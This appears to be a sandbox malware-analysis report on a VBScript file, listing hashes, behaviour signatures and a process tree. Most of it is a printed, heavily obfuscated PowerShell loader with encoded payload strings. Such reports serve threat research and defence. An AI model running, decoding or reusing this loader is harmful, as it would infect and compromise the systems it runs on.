Analysis
-
max time kernel
145s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-es -
resource tags
-
submitted
10-02-2023 10:54
General
-
Target
cnf13429226.vbs
-
Size
341KB
-
MD5
e3404b5c903f20daaf32e5cad03bc568
-
SHA1
0e506b7aa2d46a5f38453a7b0f283d72fdcb7744
-
SHA256
4104235256d918fefca7e20168f6bd26c9901631f1e9bb1f896e6513af38fb22
-
SHA512
fda27fd36ef544524aabb2f3e40bc49c8c967b9e7daaff90a07d082aeadeb2a0d83c322d99474ae51b3bff0a0660ba9b752749f73bb523968f52d2b4929b9ee7
-
SSDEEP
6144:/r0j2zZwVKzjxvqTQW97yDhvMmNjYzALGLKQXfVp5B/qfuPQMYFVkCu:/eIZkKdqcgyD1MmazALGmYVU1Tu
Score
7/10
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cnf13429226.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ekstraudgifternes = """fuFUnuPhnMfcSutToiUhoGlnSt UbSjuvTvoLavJolBrbPolAnoMcmHemNoeSlsAf0Hv Us{ki Ti Pr Un WopReaKirMiaOvmMe(Un[BrSpltRerSuiPanGogVi]Mo`$TyEPatOrvOxrJaeSulPesSweEtsMe)Dk;Us Re Ta Jv Fo`$FkPBaiCorMiaSktAvkSuoSepdiiBoeUnrReeApsPa1On7Gr Ir=Ni klNSteLkwmy-InOPrbEkjIdeAdcQutsa SkbmayLatSeeCo[Ch]Un Br(ya`$PaEcotBavStrTieYolInsIneRisKi.PaLKreConUngKotUbhJe Sy/Ul Ch2Dl)Pe;Tr Ra Jv Fo KnFRaoderOv(Mu`$PstCorBenPaeStrIneConAm=Pa0Ud;Ch Bu`$MotHvrGanPeeSarReeRonAr Sy-SglMatDe Va`$FlEUdtSpvNorFeeImlDesScePasAs.SeLCueDrnSkgFrtEnhSk;or Ar`$PrtMorUonHeeUnrCieVsnFr+Re=Co2br)Hj{Bi Sp Ad`$AuRUdewisAnoVepGorGaeTajResUnnHyitontigHeeShrVasTr Pr=By Op`$PaESytgevKnrGreKulFosAbePisOx.ViSCuuStbmasLitMarSkiCrnVigcr(Oo`$AftCorDenTaeDerOteChnFr,Br Sp2Sk)Sk;Fi Ec Th Pl Fa du he Ko bu`$FrPIniVerPoaTatFukOcoCopTeiTheTrrHaePlsSi1Pr7In[Aa`$TotStrTonSteTirCleQunTu/Vi2Di]To Fr=Ur Id[HacStoChnSlvToeHarIstPo]Fo:Gr:HoTProFiBMiyNotOceDo(Ap`$NaROpePosDeoFipUnrAleSnjPrsKrnAtiFrnSkgsteGirAnsbe,ad Ti1Li6Fl)An;Pr Po ve`$PoPViiFlrmoaJotMukDioEppHuiTyeAnrMaeFasEx1Hu7De[Se`$OvtrarUnnAkeKirLieUnnPa/st2Bo]Br Af=In Ce(Po`$TvPRoiRerAfaPstTikFeoPopFiiRueOmrOrePrsVe1Co7Ha[Pe`$HatForUnnBreRerMieMdnKo/Av2Te]Si Dr-StbAsxMioGrrBe Sk1Un9He9To)Ca;Re Ko In Dv Av}no Ge[foSEutKrrAniRynRegFl]un[ArSBaySlsSltToeWomEx.beTSpeKoxAmtPh.AfEGrnSacHuoSidFjiprnKlgOm]Va:An:StAAlSYeCDeIUnIPo.TiGMaeMatpuSFotAnrdiiJunOpgHe(pi`$AtPStiGarTiaGutPrkSaoFjpFriNeeSprCaePasEk1Po7Fo)Us;Ci}Af`$GtUBenRabFoeRenSmeMefKuiBlcDeiLaaPalBrnExeAbsMisPo0Do=TeSLyvEmoWavTrlFabBelAgoRemSkmFleBesDi0Te Ca'No9Kn4SeBHvEEkBMu4VaBUn3UvAHy2BrABrATiEpl9ArABr3TiABrBEkABeBdi'Po;Im`$KvUhynEtbHueInnkleBafIdiUdcLoiAfaPrlCynAaeCosIssKl1Ov=DeSrevGaospvPslnebFllDdoFemAlmMeeCasSm0En Fa'Fa8ReAStADiEHeAou4quBEc5LoAOu8SyBSt4NoATr8ShAAn1ApBPi3ViEPn9de9Re0PaAPfEIdAfo9SyFCa4StFUd5LeESe9Hi9Le2OrASk9CuBAr4HaAUr6VeAAl1LsASk2Sp8Fo9TrATy6PyBAm3SkAPrEViBSk1SaAdi2Su8CiAinADi2MnBDu3baARuFFrASw8KtAMi3NuBGr4sm'Af;Sn`$PlUUnnMebNyeAfnBieArfPriTicBiiBlaEnlSmnFoeSisyasFe2Dv=SoSInvPooPrvunlLibEnlCoosvmEmmSpeDesBo0Me Ko'Sk8Sp0ToADo2CaBLi3di9Aa7SkBRo5AnAId8MiAFs4Fe8Sm6MoASt3OvAFo3JaBNa5FrAin2TvBAm4spBSl4Ac'sy;fu`$BeUSonahbuneAfnPreSpfVoiUncOuiChaStlTunVeePasBosPh3Ps=StSSpvRooDuvKelGobOplTaoFomHimKoeTishe0ba Ge'Br9Pa4FlBTaEMiBJo4ReBKo3FoAsk2PuABeAFoEDi9Pr9Hy5SpBGu2PaABr9CoBTa3PrAbaEPhACeALsALu2SkEMd9di8VaEGuASt9InBKa3BeAte2SoBPa5UnAIs8VaBCo7Te9Bl4RuACi2LaBRy5GaBDe1MaAAnEMiARu4FoAFl2OvBSu4SyECy9Bu8PeFSeADe6StANo9SaAVo3RaAAfBIlATh2Ju9Sh5AnAFi2StAOv1Ka'Hj;Un`$gcUHenUdbDaerinDeeHafThiCocupipraPalSknFoeBisResPo4Fr=NoSPrvDeoIlvKaljobWllUnoSpmFimhieSqsKo0Fl Sn'BrBRe4VaBLy3ReBca5GiAKoESpANo9VeASt0da'Af;Kl`$PoUhannobcoeBnnCoeSefStificNoiSpaCllKenPreJasInsBo5Il=OkSTuvKeoBovDelHubUnlSyoPrmDymKoerasse0Fl In'Se8He0RoASn2MeBUe3di8ClAEtAAf8LoANo3ToBQu2HaAPlBThAIn2Pa8BjFPrAAf6DeASd9UnASi3UsASpBDuALa2Hy'En;Bo`$ViUHanVabMaesanSueAsfDeiKicTyiRiaAflSknBheEksunsAt6At=WiSCrvPioInvvilThbDolgloPamphmRaeKbsBe0An Gl'Se9Bi5Fo9Ru3Re9Pl4GaBIn7AbAKa2GaAMo4AnARaEAlATo6DiAGaBKm8Li9FoAAd6WhAUnAdiARi2FoETaBBiESt7Uh8CoFIrAFoEQuATm3BiAKe2Pr8Sa5OgBSuEDu9Pa4JuAInEVeAFo0ThEQuBSpELa7Op9Mo7KoBch2UnAKo5VaATeBKrAskEBaAKu4De'Me;Re`$TiUPenUnbTieKunCoeOlfumiBeceviReaChlAnnudeSnsBlsAf7Ch=DaSOfvIsoPuvevlGabTrlReoVemPamTreflsBo0Di Af'Jo9En5SsBPr2TaASt9BeBPo3UnAReEMeAkyACoACh2TiENoBvoEAf7Ar8AuAMiAur6AzAPr9ScAPi6InAKa0FlAIn2SuADo3Fr'Co;Ge`$UdUtunAmbCaeSanHaePyfUdiFucVriCiaUdlSenWeeeisAasSp8Di=moSRevCooGavTilJebUnlSnoGemFomVeeudspe0Fl Pa'Ka9De5UdACe2EkATe1HuAReBFaASt2PuAFo4ChBRe3SyACo2GeAAa3Re8No3kaAGa2viAToBRoAMo2AfAGo0YaARo6liBBr3ChAUn2Pi'Sp;Br`$YnUThnInbGeeChnHeeFifMaiHecPiiElaTylEknoveRusNasTn9un=NoSNovFaoKovFllAtbbrlBeoSamSjmBueSasSw0Ar To'Fy8TuERaAGu9Ti8UnANiARe2RhAanASkASk8LeBVi5HoBLaEPe8SiAGiAFo8PaAMo3VkBSn2trAAnBAfAFa2Se'Ga;Op`$hysCotFraFolPadSkbUdrDidHerMoeSjnBieIn0Fi=SkSElvUfoBovdolDibBolAaoPumIzmSkeTesPa0Sn Fo'Sk8VeAStBHjEHa8St3DyACy2SaATaBImACo2PeAGa0AaAKo6inBPr3AfAPl2Ba9Ma3VoBUnEStBSv7BiAAl2Ca'Or;Pr`$ResUntAraOvlMedInbZirFrdForBreEfnSaePa1Pa=ShSUnvSyoPsvGaldobanlLioSwmGrmCleKksku0Fi Ne'li8st4HyAGlBBlAOv6ToBRe4ErBUn4VeEStBHoESp7Un9Ja7chBPa2PeACi5LaAAnBDiAClEAnAPs4SeEPuBfoECa7Hu9Pr4NoAIn2PhASw6LaAShBToANo2AnAHi3UnESiBVoEAr7wo8Al6PrAOp9PrBRo4TnASuEHv8St4NaAEkBFoABa6TrBag4KaBBl4TvEJaBNeEXo7Vi8An6MiBFo2BiBSt3StAFj8Ro8Ma4JaAReBAsATr6TaBSo4FuBBl4Ak'Bi;Ko`$SesUntPuaFrldidZibFyrRodMarPieStnPaeVi2Gi=AsSsavUmoquvpelrebDrlBloAnmInmSjeTesSo0Hi No'Ba8FoEViAFo9CeBDy1CaABe8CaAMeCGeALa2He'no;Kl`$FusvitStaFolaudStbVdrTedParMoeAanIneUn3Ma=PeSMovDioKavAllAfbBllFooCamAkmVeegasso0Do Ha'He9Re7FoBTr2SpAUn5AaASkBLyAHuEOvAMs4PrEcoBEbEWh7Un8SpFPoAAuECyALi3tuATh2Lu8La5SkBBeEAe9Jo4AlAAnEEsAPo0wiEFrBUdERe7Se8Aj9ViARh2BjBBr0Af9we4BaAskBSkAKl8InBCe3FaEudBSiEPo7sg9Do1SaAToEScBLi5DuBSt3RhBsy2AlAme6HeAPrBRe'Sh;Co`$OrsKrtTaatelRodDebPsrVadserAreAznBreBe4Ga=SeSCevOuoBovDolBlbGalSpostmUnmDeeSqsLi0so Gy'Sp9Fr1CoAThEFdBTe5AoBHy3StBWa2CaAAs6SpAHeBDi8Pr6FoABoBCoABuBAnANy8LuAPr4Ak'Tr;Tv`$CosCotInaAslBidIcbFarTedAkrTaeYenJaeWo5Kn=NaSAmvMeoFivUdlPablylupoEnmSumdeeWasFo0Ar Vo'SkARe9OmBKo3joAOp3DaAMeBStAFoBKo'An;Im`$PrsDitPsaPulRedScbInrandUdrSieTanMieRe6Sk=FeSKevCloKnvRelAlbSklHeoSemStmsleCosVa0Un Mi'Da8Ge9trBPo3Re9Pe7GiBac5SaALo8MaBBr3slAKn2SkAAn4TrBAu3Re9Ak1DaABrEUnBDe5HaBch3SnBTr2WiAes6BrASmBKo8GrAFoATr2PeANuAOvASl8UnBbr5ElBPhESo'Mo;Di`$KesSmtEfaSklFodFabKorSadSerAneOenMoeNu7av=UnSPrvProTrvGrlDabUnlAloMamRamNoePasCr0co Es'Ka8SlEMa8Cy2Su9FoFMa'Re;Sk`$hesVatCoabilBidFlbHyrKedSarefeGrnSyeRa8An=TaSSkvFioEcvSelVubRalSkoApmInmCheUdsab0Te Xa'Ar9ApBPr'No;Di`$LouSpnQudDaiRisEfhDeeLoaKervatAneAnnSyekadDa=ReSBrvSyoDovPelChbBelKioRumMomEneTosAl0De Vu'Re9No2La9Ry4po8Vo2So9gn5PrFGr4FoFmi5Ne'He;Me`$AdOFlpDesBrtKanMeiFinEngUreForGlsKe=SlSSlvBooBlvSclArbUvlLnoMomEumHeeHasHu0Op Pr'Pa8Dr4SpARe6AcASuBGuAarBUn9Co0JaASkEFiASl9CoAUn3CoAPe8HvBSu0Ex9Br7UdBSe5PeAga8KrAHa4Tr8La6Pa'Pa;GrfPruPonRecPytPriDyoBenCo HyfKykNipOu Be{VaPsnaForPraLimEn Ar(Fr`$NoSFokBliReasngBerAgacapPohChiKhcStalilBalPrypa,Tr Br`$ThAApuSktOmoTucDriStdOpebl)Pr Ti Pr Af Ou en;ma`$DeSFrivelGalRaiBlmRiaCanBeiSptMaeSk0De Vi=NoSGavFaoFrvVelUdbArlBioEnmUnmSoeEksSv0Ra Fr'UnEAf3Un9Bl7frBVe5OpASk2spANa3PaAAdEFoBup4DeBHi3LeBNo5HoAboEOfASk5BeBSe2SoBLe3UdAHe8AaBHa5toFPs5JuFIn3PoFBu1PrEag7ChFHuAAfEph7svEAvFpa9TiCOv8Gy6OpBSv7TaBDe7Up8Wa3JoAMa8HaAJuAStAAl6OmANuEHeAKe9Re9PrAnoFKlDSaFFeDPo8Dd4PrBKi2hoBSu5PrBAn5LeAUn2CoAOe9SaBDe3Br8Ak3BeAMe8MuARrAKoAIn6AfAFeEBaASk9KoELe9Wi8Ek0CaAjd2TuBGa3No8Wa6KoBPo4CiBBl4InAIl2ShAMoASaAGr5chAVeBMoAPaEAfAun2NoBBl4CrETrFSyESkEPrESp7TaBAnBSlEGo7Pl9Ok0ErAPaFBrAKr2SlBFu5HeAIn2InEUdABu8Re8KnAMe5TaASpDAfAPr2PeAKd4daBCo3saEty7NuBVaCYoEDv7GeEBe3Ha9Ma8ovEBa9Aa8Se0MoAKlBSvABa8EsAEl5FrAAf6ReAmeBek8Fl6DeBBu4PrBAf4gaAPn2ExAJaAinAEv5DeADoBUnBKeEPl8Sn4BuASo6SuAOv4ElAKiFEuANo2EkERe7etEFrAso8Mu6BeATe9LuATy3brEDi7HyEMa3Sm9Ha8AlEKa9Fl8CiBbaAMc8ObACr4SpASt6DeBTu3ScAClECaAEl8brAIn9PoEst9Wi9Ve4guBBo7OpAFoBUnAlaEHaBRe3CeETaFUnETr3StBSe4FlBbi3KaAMn6ViASlBJoAFo3plAsk5InBUn5MiADo3DiBFr5DaAPo2MaALi9BlATa2KoFCeFDiEDaEOu9NoCFoEMeAKoFKi6Ac9BiATeEPr9Uo8Le2SaBNe6FoBMo2OvATa6koAAtBSuBPe4ApEStFKaESc3Ap9Ti2LaAZo9muAYn5doAIn2FeAAp9ReAMu2ElAQu1YtAPoEstATo4MaAPoECoAAr6CaAThBMeATe9OpAti2KjBGe4PoBHe4chFNo7UkEUdEBiEso7NoBSnAKnEBeEBlEPa9Ki8ja0PhAHu2ViBDe3Ki9Vr3SoBOvENeBLe7BiARe2enEChFHeESo3Pu9hj2udADa9TiALi5SyATa2CoAbi9UnATi2DiAMu1PrARaEPeAAc4StATjEEvAKl6omARvBVeATr9ChAPa2OvBMe4CoBBr4JeFOs6ElEFiEOs'Sj;to&Eg(Ut`$TosBatzoaGilEgdGlbDirAndsvrAbehenvaeHo7So)Ha By`$SuSSjipsldrlKniSpmCaaRanDiidytudeSe0Ko;Tr`$SpSBuiDelCllSciPlmEpaFenHoiGltGoeki5ch Op=Kv DaSDyvfooRovUnlSsbFolPaoAlmFrmPreLisWi0Sa Ko'NoEDe3Da8AmAHoAGl8SeAUd3GlAun2ThAPrDChASk8LuBPh2DeBAc5PaAOb9AnAUn6OvAZoBFeACa2FoAMo9RiBVa4NoFEj5AlFEk4SoFSw1DeEDa7AgFHaASyEse7JvEMe3sn9ma7NeBSc5CoAMi2BeADa3ReAasESnBNo4InBTo3ChBBr5PeAUrEEnARe5UdBSa2UnBUv3StAGl8KrBGi5HoFNe5OrFFo3IsFGu1MeESy9Fu8St0BeABe2FrBUn3Kl8CrADrATs2TrBVa3SuAPaFSeARe8biATa3MeEOuFArEko3En9Bo2OpAIm9UbAAd5RaAbr2BrAOr9GeAAk2SeASm1JaAMoEEkACa4CrAshEHeARi6FoABeBOpASc9ScASo2AfBSa4HyBUd4TrFJo5koEUnBgaELe7He9CyCMu9so3CaBCoEScBDe7HeASt2ko9MeCSm9OsANo9ReAInEEm7Un8Ou7FlELaFDoEAa3Gl9Ch2StAMi9soAGo5SpASa2ReADo9GhAKi2MdAAf1deAHaECoASw4MeAAtEPaARo6AfAOsBTiARa9ViASi2SmBVi4DiBSf4InFSu4ObEDyBDeESk7RaENo3Ci9Co2byAPr9OuAan5QuAEl2SpAPa9PaASk2RaASi1NeATrEPoAGu4FoAEnEQuAPp6PlAInBOmAUd9PoAVr2RiBNa4FlBPo4HaFdi3VeEUnETiEJoEAb're;Vr&Va(ra`$UdsDetkoaBrlPadOpbTarUtdKrrFoeRenreeDi7Fe)De pr`$EsSleiSklFilHoiFimHoaSpnUniuntWeeCo5re;He`$HySAniPslMalFniRemLeaDknPriGltdoeOr1Ox Co=co ChSDovTooMavIllInbMelMuozomElmBreUnsSl0Ho Rh'FyBOv5StAOv2FeBJe3StBCa2LeBTu5FeAAc9DuEti7PaEAn3Fn8maABuASu8FlATa3TeAHe2EfAPeDshABe8TeBKr2KnBDi5UmASe9HeACo6PlAChBFrAQu2TuALi9DuBTv4tuFse5SuFBa4WoFUn1UnEAn9Br8FrEKrApo9geBFa1VvAHe8teAGuCToALo2KiEAfFBuECo3UnAPl9FuBJo2EmASkBFaAPlBVuESoBAfEUn7Ke8Af7UnEBlFBi9AdCTu9Un4SeBFoELaBRe4ReBUn3GlACa2deAWaAMiEro9da9At5SaBSu2AbAPr9unBTa3AsAUkENeADrAAfAGr2PaEfr9Ol8seEKmAEx9CaBsk3WeACa2NoBim5OvAmi8TuBGa7Un9Re4NoASt2OvBpe5ReBPo1UnASwEAnARe4FaATr2hlBos4GaESk9Sm8FoFReAcr6LsAMb9PaAAr3TiAAkBbrAAf2Re9Sk5OpAIn2DrABl1Br9faAUsEToFLi8to9StAJe2TiBFo0BeEPeAEg8Am8AmABu5DiAFoDTeASt2isASo4DaBCa3NoEPl7Pr9So4UnBSkEReBTo4ThBMo3PrASy2OpAHeAUdEno9pa9De5PrBFi2BuAFa9SiBKv3SvALuEFiAErAMeASo2WaEIn9Ls8UnETrADa9TrBIn3AvAAn2SpBHe5SlAPe8UnBPo7Sa9Di4deASk2foBRe5HeBTi1OcATaEEdAKe4DeAAn2VaBSa4PrERe9tu8unFBaARu6siAPa9BrAIl3FlAScBknAmu2Ny9st5ArAMe2FoAEc1laESyFSyEGeFPa8Ci9leAUn2CrBHa0UnEFrAch8Sd8ToAMo5MiACoDUnAEd2KrABe4PeBBo3UdEJe7Ef8CoEThASo9LeBMa3Po9Ud7SuBTh3FoBIa5SeEurEPrELuBCiEUd7VeEenFLiESt3Ge9ma7ExBSt5NeAOh2ShAje3taASlEPaBto4shBOr3BrBSt5DdAHeEBrARa5SaBMa2TrBSu3raAne8OpBUd5acFSl5PrFin3urFSi1OpETw9Fa8ba0ThANa2CoBPc3Fr8miASpASk2BeBDi3InAStFEnAOf8ShADa3AaEWhFUnENa3Ax9De2BaAco9EnAPo5PaAMi2SoASt9toADu2ChAMe1SkAMiELeATi4SlApiEFrAKi6AlAMaBJiAOm9TeATo2VrBUd4orBBo4ReFFi2InEprENoEskEAlEVi9Me8SeEExAMe9EpBvo1AuAcy8BrAFoCKeAFo2SyEFrFDeEBe3MaACe9UnBRi2ChAWaBKeAOpBJaEKoBShEDe7Gr8De7AlERaFSkEen3Sk9Do4SvAHiCNaATiEovACo6OpAAg0HeBBr5CaAPo6PrBsa7BeAHeFUdANaEUnAHy4LeABi6SvAFoBFjAInBSiBUnEViEBaENoEFoEBeEUnEDaEUdESkEFoBGlEBe7ExEpr3Da8St6SaBAs2FlBGe3GlASk8NoAAn4FiASmECuAAn3TrAPr2erEDiEOsEBrEIn'Co;to&Ch(Af`$SpsRetAnaFellddDrbDyrdwdDerDveOunBueAn7Hy)Ne Be`$PaSstitalFulYniAnmTiaNonHaiAntSteEl1Pl;St}CafPiuDenFacFotpaiPloDinCr MyGPhDbuTDu Ga{TePKoaDirTrapemRa Le(Ud[VaPhoaStrfoabamKaeUdtSteGarje(RaPBnoDasHaiVitSeiMaoInnRa Hu=Or Mo0No,De taMpaaRanPadTiaDrtAnoOtrViyDe Ud=Pe Se`$BoTGrrkauSheSu)ta]Fo Al[FiTSkySkpReePo[Li]Hj]Th Ls`$TaKsoiBasBesLeeUnlUniEknLakameHa,Sp[KaPBiaInrKuaPrmNaeRatReeBurDy(CuPrhoCosOviMitKriMaoNonKl Ha=St Up1Be)Co]Re an[inTAfyRepUleSk]Re Bu`$JuBLaaKjlSwtHaiEfmSaoBirNoeem Sa=La Ob[unVAfohoiFodRe]Fe)Sh;Ha`$inSTjiMolAnlfoiEkmBuaOmnJuiTrtIreDe2He Re=Id PaSAdvMooAnvBllUnbXilFioRemPemSyeHjsMu0Du ex'PlEbu3Br8Di6UdBAl4PeBDe7OrAJu6UdBPr4PeAUnESiASt6siEDe7TaFJaAinEHe7Da9SkCOp8St6WeBTe7GaBBr7Sp8De3TiAFi8MiABlAIgAVr6PuASiEElATi9Cy9HvAQuFReDThFFrDJu8Up4BeBAc2ChBSu5ErBTi5NuABa2RiAPr9DoBSc3Fe8As3DiAVa8OvAWiAGrApr6GaAsuEStADu9InEBr9En8Pa3AcABo2AcADe1GuAGrEInATr9GtABe2El8Re3UgBToEUnANo9SeANe6ObAviANeAAsEziAAn4lj8Sh6TjBEw4enBNo4SkAAb2KiAInADeATo5SaAPoBRuBRaENeEAlFBiEbiFPr8Sc9StASa2MeBRo0BeEFaASp8Mo8TjATe5SlAWiDstAUn2AlAAn4ReBRe3moEEn7Ek9Fo4UdBVoEAbBTu4MaBSa3SmADa2gaAAgAPaEUd9Ta9Br5BrAta2moASi1HnAMoBStAHa2seADy4DiBMa3FlAPeEboATv8OeAHy9GaEFl9No8Pl6PrBPl4ApBHy4CiAPr2DuAStAvaAMa5SkAPrBTiBstESl8Vi9GuAUn6PoAStASiAUn2BrEFoFPaEUn3fi9Ro2StASd9ClAKa5GuARe2BuAMi9SgAre2frASk1StAslEUnAEl4BrAPaENoAZe6KiANsBOlAPj9WiAFl2SlBVe4PrBAg4MiFchFprEKaERiEPoEEnEUnBChESt7Pa9JaCUk9ce4VeBOpEDeBEm4SkBRe3ouAMi2KoATrAPoEFe9So9Po5DaAEp2MaAfl1KrATeBBuARe2tiAYo4SkBbe3roAFuEGrAAp8UnAVr9CoESt9In8Af2AfAReAPrACaEslBSy3MaESd9De8pa6GrBKu4UnBBe4BoASt2ElABeASmAUn5NoAGnBZaBUnETr8Ek5UdBSt2RaAWeETyAafBBeASa3OmAAc2RuBfl5Mo8El6ReAEd4DiAFo4imASe2FrBWi4heBpr4Di9SyABeFDeDNaFArDWh9Sk5StBoc2ReABa9SaEBrEChENi9Al8Fl3KoAPr2PlAPo1SoALnEPrAGe9feAts2Ch8Ra3ReBScEFoAEu9AnADo6trAAfAFlAunEBeAsl4Vi8LeAPrATe8EtASt3BlBWh2QuAAfBteATi2auEGrFBiEHo3Be9To2PlAOk9BrALi5BeABi2FiARe9PaAMu2QuASl1OrAChEFiASk4NoABrEOrAHa6BoAAaBKiAMo9prABr2RiBHy4UnBMa4StFCrESaElaBOvEDo7miEGe3FoARe1SeADa6PrAdvBSeBPo4FrAEm2afEfoESoEDa9St8Ku3PaAKa2SkAbe1BlADeEHeAMa9caABd2Je9Rv3SuBWiESuBOm7ViASl2SiEReFVaEsk3FoBde4DiBWr3SpASp6InAExBTeAFi3geALy5NaBGe5GaASy3DoBSs5GaAma2anAVa9TeADa2ChFPh7OpELaBAfEFi7GrEFr3SaBOv4PoBMi3DaACe6TaAPoBBeAIc3TrALn5ArBRe5DiAre3UnBSe5thAZe2HeAIm9FoACl2MeFPr6TrEPoBFaESt7Sk9NiCno9Ak4HoBRaEEnBSk4FrBUr3StACa2ReAIsAbaERi9Be8RiAOpBwh2ZaAStBPaBOp3ApABoEBlAMi4NeAst6QuBSp4MoBDe3Be8Un3HyAPa2SuABeBSkAst2VkAMe0UnADm6SoBTr3tiASu2Fy9ReAViEReEDe'Ko;Cr&pa(Di`$SksUntVeaBolhedAnbAlrRedBerFoeNonOpeRe7Le)Ty Ar`$HoSStiEllSulAliSumMyaSunEniAbtBeehn2Gr;Di`$CrScaibrlNelTriFrmSkaOpnMaiFotDaeSk3An Si=Wa StSLavSkoSkvBrlLibRelShoComBumLaeAlsNe0Cu Up'UnEtr3In8Ti6ArBGe4ThBSt7KoASt6AmBBa4KaAbeEPrAVe6reENa9Af8He3KrAUn2AdACh1TiAGiEOpASe9FiAFn2Me8Pa4DeADi8AnAAu9GeBSm4UrBUd3meBPi5ObBTs2koABr4InBPa3CaAAu8BlBAf5TiEDeFFjETi3di9Un2OsAGe9OuATa5SiAcu2UnABr9SkAte2TvASk1EvAAuEMaAra4CuANiEgeAKo6KaAOpBAnASo9vaAsa2NoBRi4FiBDa4ArFSe1SaEGaBmaEHi7Sv9IsCFr9Gj4InBorEsuBRa4TrBSt3SeAAr2RuAElACiEFl9Te9Ve5taATi2UdAOm1OoAPiBSpAGr2KoALa4MoBKu3SaANiEAsAPi8SuABg9PaEBa9Ga8Un4ReACa6HiASyBGeAReBFoASeEGeARo9LiAPa0Ti8Si4baAja8FeAbe9NoBPe1ReACe2FrAAf9TeBEm3InAViEBaALa8saAUn9BoBfl4Tr9EmANoFBeDatFTeDFl9Ko4ReBMa3DuATw6IaAPl9StACo3ZoALu6AmBsm5BlAPa3BeEToBSuEOl7TeEps3Pe8VaCFoAPeEUnBPr4AfBMa4DiAIn2CaAEpBG APrECoABg9EfATvCboAIm2KuEUkESeEFa9Re9Fr4MaAOk2BlBKa3Ci8FoEReAUnACoBFa7NaAPlBGjASi2unAIgARaAFr2EuACh9BeBAn3TrAJo6uuBAs3PrAOvECiAIn8DiAmi9So8Sa1DiASuBTaASv6SuALe0ElBne4CoEJuFOpEGl3Ba9Gd2RoAPe9GoAPr5SpABi2ImAFl9FeAGr2KrACh1UnAOvELeAPr4BlAHuEAwACo6SyAAdBVoADo9KaATe2NoBSt4TrBDi4VeFFi0ReELaEUn'Mi;Mi&Al(Se`$LesPatHjaDilKidmebRerkadRerOseInnhoeHe7Kl)Ku tr`$AgSBeiKalGulFiiLbmEfaVenSkiAitLseDr3St;Mr`$veSMaiRolEllDoiSnmRoaLenBuiArtFreCo4Ae Ki=Sa PrSDivBjoChvHulVibFolAcoSumAnmEueMasCa0Ma tr'ruESu3Fl8Si6MaBSk4PrBSl7DoAIn6PaBEn4SnAPtEBlASu6SlEEm9vr8Ta3UnAPa2DiADi1AlAnyEUdAGe9SkAAl2Ud8PrAThAbl2LaBSa3TrAPaFInASo8VrATy3SrERaFudERe3riBLe4tiBPl3PrAFl6IlABuBMaASt3PrAHa5FoBba5HyARu3GaBta5ChASk2WaAOm9MeATr2LsFJo5WoEKlBElEFa7UaEun3SaBFi4TrBTi3SiAen6ApAPuBSuAUd3ShADo5PrBMo5apAAl3AdBbl5reARa2FuAAg9ElAPa2SeFPr4TrEseBAnEfu7VeESq3Ph8Ex5SeASa6GoAFlBArBCa3StAToESpAmaAFaAuh8ReBHe5HjAAn2TrEEnBGeEMe7PiELi3Po8AsCChAMaENdBUn4KoBHe4AcABe2AnAKlBFoAKlECaAHy9FiAKlCAnAHo2MiEUpEStEKr9bo9Re4CaAAr2EkBTe3Am8LiECaAefAAmBMo7LaATrBSpACa2RaASuAPoATo2BeAJa9UrBEm3TyACh6WhBPs3GlANaEPrAAm8unAFo9By8Re1InAUnBPeAIa6HeAPr0HyBRe4FeEunFDeEAu3Po9Le2BrALo9PiAWe5WeACh2TyASq9ExACh2SeAzo1TaALuEOpAFo4PrAMaEBsAIm6UnAPaBAfAin9CrAUn2AfBun4LaBBa4LbFAb0EvESkEDi'Ex;Ov&Ul(Re`$ArsSatliaBllEldYabklrJadkoraueVinSyeOv7Sv)Or Ra`$CeSUdiSilExlNoiprmStaStnUniUdtFdeLi4Fo;Bo`$FuSHyiDolCilCaiLnmAfaBlnHuiMotUneMa5Re Ch=an InSUnvFooDivdrlTrbSalRaoSkmSpmPaeArsOp0Ti Pa'KnBLo5HnABo2CoBNo3noBFl2HiBCl5anAEl9MoELe7ExEFr3Fo8Un6GaBBe4spBAn7BlABa6PaBHu4SlAMaEReARe6TiEIn9Un8Ha4neBcl5UrADr2EaASu6DrBCe3InABo2Un9Sp3LuBAsEAsBch7UnAPe2opEstFLeEnoEMa'Eg;Fy&Be(Jo`$MisAftOmasulDmdMibCorOrdMnrEheUsnCheSe7Ur)Kr un`$unSThiKalcrlDeiGhmKoaKlnPaiTytKlebl5He Ga Va Di;Ro}Pu`$MiGSoyFdnUngNieTorDesFi Ri=Va DaSshvOuoArvFilFabAslPaoUnmBimOpeGnsSy0Gy Sk'MiAStCOpAGa2AnBTr5FoAIr9UnARo2UnAPiBHuFUd4veFEx5Ti'Pa;Oq`$UdSEviAflTilOsiMamLaaSenBoiSitBrePa6My Ub=Se FoSDevCooDrvAflYabAslInoBemOvmSieOasFi0Bl Mo'DiEDa3OvBSq2UdAIs3KoACa0GrAEnEBeAHy1FrBSt3GrBRe4NoAko1ShAGo8ElBLu5BeAMe3FaASe2KnAsyBInABrEReAbi9UnAIm0NaBTr4BoERe7MaFStABrEFr7Be9taCSp9Dy4EpBAnEKaBFo4DeBLy3FoAFi2LaADeAOdEKh9Tr9Ti5DoBIn2XeASk9UnBTr3DiAArEFoAOuACiACo2HeEPl9hy8SeEreABu9TaBSk3DeAHa2DoBFo5GuASy8DeBIn7Sa9Br4DeAMe2CoBpr5UnBod1veASnEUdATo4HeABo2CaBAf4ViEAn9Ef8shAAnASk6ToBAs5JoBUl4BlAUdFSpASe6DeAFaBRe9TyAOrFBrDReFDoDCa8Un0BeAba2TwBVi3Fe8Ud3LeAYi2ToAAfBGoAEn2KoARe0AsASp6ReBOp3InASo2Pa8de1DiACh8KlBAt5Cr8La1RiBFo2InASe9SeAGa4PaBFo3KnAUnEBrAAm8BeAmu9Hj9Sf7CaABo8UnAVaEAbASi9CoBLv3KlASt2suBRe5LkEblFAbESyFUnASa1LoADoCElBEl7BaELu7SoEUn3Tu8Fr0neBSaEDeAga9SkANi0TrASk2